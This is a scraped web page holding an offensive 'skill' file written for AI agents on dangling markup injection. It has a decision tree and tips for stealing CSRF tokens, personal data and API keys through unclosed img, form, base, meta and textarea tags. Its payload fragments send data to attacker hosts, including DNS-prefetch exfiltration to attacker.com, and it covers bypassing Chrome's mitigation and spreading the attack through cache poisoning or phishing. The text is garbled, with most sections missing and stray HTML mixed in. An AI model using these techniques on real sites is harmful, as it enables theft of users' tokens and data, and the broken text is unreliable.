SKILL: Dangling Markup Injection — Exfiltration Without JavaScript

AI LOAD INSTRUCTION

Covers dangling markup exfiltration via unclosed img/form/base/meta/link/table tags, what can be stolen (CSRF tokens, pre-filled form values, sensitive content), browser-specific behavior, and combinations with other attacks. Base models often overlook this technique entirely when CSP blocks scripts, jumping to "not exploitable" — dangling markup is the answer.

0. RELATED ROUTING

xss-cross-site-scripting

when full XSS is possible (no need for dangling markup)

csp-bypass-advanced

when CSP blocks JS execution — dangling markup bypasses script restrictions

csrf-cross-site-request-forgery

when dangling markup steals CSRF tokens for subsequent CSRF attacks

crlf-injection

when CRLF enables HTML injection in HTTP response

web-cache-deception

when dangling markup + cache poisoning amplifies the attack

1. WHEN TO USE DANGLING MARKUP

You need dangling markup when ALL of these are true:

You have an HTML injection point (reflected or stored)

JavaScript execution is blocked:

CSP blocks inline scripts and event handlers

Sanitizer strips

<img src="...

│

├── What sensitive data exists AFTER injection point?

│ ├── CSRF tokens → HIGH VALUE: steal token → CSRF attack

│ ├── User PII (email, name) → data theft

│ ├── API keys / secrets → account compromise

│ ├── No sensitive data after injection → dangling markup not useful here

│ └── Check different pages — injection may be on a page with sensitive data

│

├── Choose exfiltration vector based on CSP

│ ├── No CSP / lax CSP → <img src="... (simplest)

│ ├── img-src restricted?

│ │ ├── form-action unrestricted? →

</dt> <dt>│ │ ├── base-uri unrestricted? → <base href="attacker"></dt> <dt>│ │ └── style-src unrestricted? → <link rel=stylesheet href="...</dt> <dt>│ ├── Strict CSP on all directives?</dt> <dt>│ │ ├── meta refresh? → <meta http-equiv="refresh" content="0;url=attacker?</dt> <dt>│ │ ├── DNS prefetch? → <link rel=dns-prefetch href="//data.attacker.com"></dt> <dt>│ │ └── Window.name via iframe? → <iframe name="...</dt> <dt>│ └── Nothing works? → dangling markup blocked, try other approaches</dt> <dt>│</dt> <dt>├── Handle Chrome's dangling markup mitigation</dt> <dt>│ ├── Target uses Chrome? → Avoid <img src= with < or newlines</dt> <dt>│ ├── Use <form action=> instead (not blocked)</dt> <dt>│ ├── Use <base href=> (not blocked)</dt> <dt>│ └── Test in Firefox as fallback (more permissive)</dt> <dt>│</dt> <dt>├── Choose quote type for maximum capture</dt> <dt>│ ├── Target data uses double quotes? → Inject with single quote: <img src='...</dt> <dt>│ ├── Target data uses single quotes? → Inject with double quote: <img src="...</dt> <dt>│ └── Mixed quotes? → Test both, see which captures more useful data</dt> <dt>│</dt> <dt>└── Amplification</dt> <dt>├── Response cached? → Poison cache → steal from multiple victims</dt> <dt>├── Stored injection? → Every page view exfiltrates</dt> <dt>└── Reflected only? → Deliver via phishing link</dt> <dt>10. TRICK NOTES — WHAT AI MODELS MISS</dt> <dt>Dangling markup is THE answer when CSP blocks scripts but HTML injection exists.</dt> <dt>Models trained on XSS often conclude "not exploitable" when CSP is strict — dangling markup doesn't need JavaScript.</dt> <dt>Chrome's mitigation is tag-specific, not universal</dt> <dt>:</dt> <dt><img src=</dt> <dt>is mitigated, but</dt> <dt><form action=</dt> <dt>,</dt> <dt><base href=</dt> <dt>,</dt> <dt><meta http-equiv=refresh></dt> <dt>are NOT. Always try alternative vectors.</dt> <dt>Quote type selection is critical</dt> <dd> <dl> <dt>If the page uses</dt> <dt>"</dt> <dt>for attributes, inject with</dt> <dt>'</dt> <dt>(or vice versa) to control exactly where consumption stops. Wrong quote type = capturing useless content or nothing.</dt> <dt>Injection point placement matters enormously</dt> <dd>The injection must appear BEFORE the target data in the HTML source. If CSRF token is above your injection point, dangling markup cannot capture it.</dd> </dl> </dd> </dl> </dd> </dl> <textarea> is the most underrated vector : An unclosed textarea eats ALL subsequent HTML as plaintext. Combined with form action hijack, it's the most reliable method when img-src is restricted. Window.name persists across origins : If you can inject an iframe, the name attribute technique is powerful because window.name survives cross-origin navigation — a rare cross-origin data channel. DNS prefetch exfiltration works even under strict CSP : <link rel=dns-prefetch href="//stolen-data.attacker.com"> triggers a DNS lookup that CSP cannot block. Limited to ~253 characters per label, but sufficient for tokens. </article> <a href="/" class="back-link">← <span data-i18n="detail.backToLeaderboard">返回排行榜</span></a> </div> <aside class="sidebar"> <section class="related-skills" id="relatedSkillsSection"> <h2 class="related-title" data-i18n="detail.relatedSkills">相关 Skills</h2> <div class="related-list" id="relatedSkillsList"> <a href="/es/skill/yaklang/hack-skills/hack" class="related-card"> <div class="related-name">hack</div> <div class="related-meta"> <span class="related-owner">yaklang</span> <span class="related-installs">657</span> </div> <div class="related-desc">HACKING SKILLS / HackSkills Overview 这是一个面向 漏洞赏金、Web 安全、API ...</div> </a> <a href="/es/skill/yaklang/hack-skills/xss-cross-site-scripting" class="related-card"> <div class="related-name">xss-cross-site-scripting</div> <div class="related-meta"> <span class="related-owner">yaklang</span> <span class="related-installs">622</span> </div> <div class="related-desc">SKILL: Cross-Site Scripting (XSS) — Expert Attack Playbook A...</div> </a> <a href="/es/skill/yaklang/hack-skills/api-sec" class="related-card"> <div class="related-name">api-sec</div> <div class="related-meta"> <span class="related-owner">yaklang</span> <span class="related-installs">614</span> </div> <div class="related-desc">API Security Router 这是 API 安全测试的分类入口。 先用这个 skill 判断当前 API 更像...</div> </a> <a href="/es/skill/yaklang/hack-skills/api-recon-and-docs" class="related-card"> <div class="related-name">api-recon-and-docs</div> <div class="related-meta"> <span class="related-owner">yaklang</span> <span class="related-installs">613</span> </div> <div class="related-desc">SKILL: API Recon and Docs — Endpoints, Schemas, and Version ...</div> </a> <a href="/es/skill/yaklang/hack-skills/jwt-oauth-token-attacks" class="related-card"> <div class="related-name">jwt-oauth-token-attacks</div> <div class="related-meta"> <span class="related-owner">yaklang</span> <span class="related-installs">609</span> </div> <div class="related-desc">SKILL: JWT and OAuth 2.0 Token Attacks — Expert Attack Playb...</div> </a> <a href="/es/skill/yaklang/hack-skills/api-auth-and-jwt-abuse" class="related-card"> <div class="related-name">api-auth-and-jwt-abuse</div> <div class="related-meta"> <span class="related-owner">yaklang</span> <span class="related-installs">608</span> </div> <div class="related-desc">SKILL: API Auth and JWT Abuse — Token Trust, Header Tricks, ...</div> </a> </div> </section> </aside> </div> </div> <script src="https://unpkg.com/i18next@23.11.5/i18next.min.js" defer></script> <script src="https://unpkg.com/i18next-browser-languagedetector@7.2.1/i18nextBrowserLanguageDetector.min.js" defer></script> <script defer> // Language resources - same pattern as index page const resources = { 'zh-CN': null, 'en': null, 'ja': null, 'ko': null, 'zh-TW': null, 'es': null, 'fr': null }; // Load language files (only current + fallback for performance) async function loadLanguageResources() { const savedLang = localStorage.getItem('i18nextLng') || 'en'; const langsToLoad = new Set([savedLang, 'en']); // current + fallback await Promise.all([...langsToLoad].map(async (lang) => { try { const response = await fetch(`/locales/${lang}.json?v=20260403`); if (response.ok) { resources[lang] = { translation: await response.json() }; } } catch (error) { console.warn(`Failed to load ${lang} language file:`, error); } })); } // Load a single language on demand (for language switching) async function loadLanguage(lang) { if (resources[lang]) return; try { const response = await fetch(`/locales/${lang}.json?v=20260403`); if (response.ok) { resources[lang] = { translation: await response.json() }; i18next.addResourceBundle(lang, 'translation', resources[lang].translation); } } catch (error) { console.warn(`Failed to load ${lang} language file:`, error); } } // Initialize i18next async function initI18n() { try { await loadLanguageResources(); // Filter out null values from resources const validResources = {}; for (const [lang, data] of Object.entries(resources)) { if (data !== null) { validResources[lang] = data; } } console.log('Loaded languages:', Object.keys(validResources)); console.log('zh-CN resource:', validResources['zh-CN']); console.log('detail.home in resource:', validResources['zh-CN']?.translation?.detail?.home); // 检查是否有保存的语言偏好 const savedLang = localStorage.getItem('i18nextLng'); // 如果没有保存的语言偏好，默认使用英文 const defaultLang = savedLang && ['zh-CN', 'en', 'ja', 'ko', 'zh-TW', 'es', 'fr'].includes(savedLang) ? savedLang : 'en'; await i18next .use(i18nextBrowserLanguageDetector) .init({ lng: defaultLang, // 强制设置初始语言 fallbackLng: 'en', supportedLngs: ['zh-CN', 'en', 'ja', 'ko', 'zh-TW', 'es', 'fr'], resources: validResources, detection: { order: ['localStorage'], // 只使用 localStorage，不检测浏览器语言 caches: ['localStorage'], lookupLocalStorage: 'i18nextLng' }, interpolation: { escapeValue: false } }); console.log('i18next initialized, language:', i18next.language); console.log('Test translation:', i18next.t('detail.home')); // Set initial language in selector const langSwitcher = document.getElementById('langSwitcher'); langSwitcher.value = i18next.language; // Update page language updatePageLanguage(); // Language switch event langSwitcher.addEventListener('change', async (e) => { await loadLanguage(e.target.value); // load on demand i18next.changeLanguage(e.target.value).then(() => { updatePageLanguage(); localStorage.setItem('i18nextLng', e.target.value); }); }); } catch (error) { console.error('i18next init failed:', error); } } // Translation helper function t(key, options = {}) { return i18next.t(key, options); } // Update all translatable elements function updatePageLanguage() { // Update HTML lang attribute document.documentElement.lang = i18next.language; // Update elements with data-i18n attribute document.querySelectorAll('[data-i18n]').forEach(el => { const key = el.getAttribute('data-i18n'); el.textContent = t(key); }); } // Copy command function function copyCommand() { const command = document.getElementById('installCommand').textContent; const btn = document.getElementById('copyBtn'); navigator.clipboard.writeText(command).then(() => { btn.textContent = t('copied'); btn.classList.add('copied'); setTimeout(() => { btn.textContent = t('copy'); btn.classList.remove('copied'); }, 2000); }).catch(() => { // Fallback for non-HTTPS const textArea = document.createElement('textarea'); textArea.value = command; textArea.style.position = 'fixed'; textArea.style.left = '-9999px'; document.body.appendChild(textArea); textArea.select(); document.execCommand('copy'); document.body.removeChild(textArea); btn.textContent = t('copied'); btn.classList.add('copied'); setTimeout(() => { btn.textContent = t('copy'); btn.classList.remove('copied'); }, 2000); }); } // Initialize document.getElementById('copyBtn').addEventListener('click', copyCommand); initI18n(); // 异步加载相关 Skills async function loadRelatedSkills() { const owner = 'yaklang'; const skillName = 'dangling-markup-injection'; const currentLang = 'es'; const listContainer = document.getElementById('relatedSkillsList'); const section = document.getElementById('relatedSkillsSection'); try { const response = await fetch(`/api/related-skills/${encodeURIComponent(owner)}/${encodeURIComponent(skillName)}?limit=6`); if (!response.ok) { throw new Error('Failed to load'); } const data = await response.json(); const relatedSkills = data.related_skills || []; if (relatedSkills.length === 0) { // 没有相关推荐时隐藏整个区域 section.style.display = 'none'; return; } // 渲染相关 Skills listContainer.innerHTML = relatedSkills.map(skill => { const desc = skill.description || ''; const truncatedDesc = desc.length > 60 ? desc.substring(0, 60) + '...' : desc; return ` <a href="${currentLang === 'en' ? '' : '/' + currentLang}/skill/${skill.owner}/${skill.repo}/${skill.skill_name}" class="related-card fade-in"> <div class="related-name">${escapeHtml(skill.skill_name)}</div> <div class="related-meta"> <span class="related-owner">${escapeHtml(skill.owner)}</span> <span class="related-installs">${skill.installs}</span> </div> <div class="related-desc">${escapeHtml(truncatedDesc)}</div> </a> `; }).join(''); } catch (error) { console.error('Failed to load related skills:', error); // 加载失败时显示提示或隐藏 listContainer.innerHTML = '<div class="related-empty">暂无相关推荐</div>'; } } // HTML 转义 function escapeHtml(text) { const div = document.createElement('div'); div.textContent = text; return div.innerHTML; } // 页面加载完成后异步加载相关 Skills if (document.readyState === 'loading') { document.addEventListener('DOMContentLoaded', loadRelatedSkills); } else { loadRelatedSkills(); } </script> </body> </html>